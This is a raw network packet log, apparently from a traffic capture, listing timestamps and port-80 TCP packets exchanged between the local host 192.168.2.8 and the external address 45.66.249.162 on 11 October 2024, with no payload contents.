Oct 11, 2024 22:32:32.861660004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861695051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861706972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861716032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861748934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861776114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861794949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861812115 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861857891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861891031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861903906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861910105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861951113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861977100 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.861993074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.861999989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862035036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862040997 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862098932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862415075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862478018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862495899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862517118 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862541914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862584114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862643957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862668991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862689018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862714052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862761021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862803936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862847090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862848043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862879038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862894058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.862915993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862935066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.862941027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863007069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863068104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863081932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863101959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863110065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863156080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863199949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863245010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863254070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863285065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863291025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863338947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863354921 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863389969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863404036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863446951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863491058 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863528013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863535881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863545895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863578081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863611937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863632917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863636971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863684893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863718987 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863724947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863749981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863770008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863771915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863818884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863862038 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863863945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.863883018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.863900900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865396023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865458965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865487099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865510941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865514040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865571976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865597963 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865616083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865619898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865665913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865674019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865709066 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865712881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865753889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865757942 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865804911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865812063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865844011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865849972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865896940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865900993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865938902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.865945101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.865986109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866034985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866089106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866167068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866210938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866223097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866252899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866256952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866302967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866307020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866344929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866348982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866395950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866400957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866439104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866693020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866739035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866784096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.866806984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.866837978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867444038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867499113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867506027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867542982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867552042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867598057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867599964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867660999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867666960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867702007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867722988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867763042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867769957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867808104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867815018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867851973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867856026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867872000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867887974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867892981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867898941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867913961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867928028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867935896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867953062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867959976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867965937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.867981911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.867991924 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.868001938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.868014097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.868022919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.868033886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.868057013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:32.949477911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:32.949728012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005228043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005326986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005374908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005424023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005444050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005445004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005470991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005491972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005491972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005517006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005520105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005563021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005567074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005609989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005609989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005651951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005673885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005717039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005722046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005764008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005784988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005827904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005831957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005877018 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005878925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005919933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.005940914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.005984068 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006006002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006056070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006057978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006097078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006098986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006140947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006160975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006206036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006227016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006268978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006269932 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006309986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006315947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006356955 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006364107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006402969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006407022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006448030 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006453991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006493092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006500006 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006536961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006560087 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006604910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.006608009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.006649971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.008795977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.008843899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.008855104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.008879900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.008893013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.008929968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009013891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009052992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009056091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009090900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009097099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009140968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009191990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009234905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009397984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009440899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009440899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009481907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009490013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009527922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009545088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009589911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009589911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009650946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.009653091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.009691954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.010900974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.010948896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.010961056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011002064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011006117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011050940 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011746883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011790991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011853933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011895895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011897087 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011940002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011940956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.011980057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.011996031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012037039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012052059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012093067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012094021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012131929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012151957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012193918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012212038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012253046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012270927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012311935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012327909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012371063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012387037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012430906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012444019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012485027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012485027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012525082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012532949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012574911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012590885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012629032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012633085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012669086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012685061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012728930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012743950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012785912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012800932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012844086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012845993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012887001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012887955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012929916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.012931108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012972116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.012972116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013014078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013015032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013056040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013056993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013097048 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013098001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013138056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013139963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013180971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013180971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013223886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013227940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013267994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013268948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013309956 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013310909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013350964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013353109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013394117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013395071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013434887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013437033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013475895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013478041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013519049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013520002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013557911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013561964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013600111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013601065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013639927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013643980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013684988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013684988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013725996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013726950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013766050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013767958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013806105 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013808966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013849974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013849974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013889074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013892889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013931990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013933897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:33.013972998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:33.013974905 CEST	80	49707	45.66.249.162	192.168.2.8
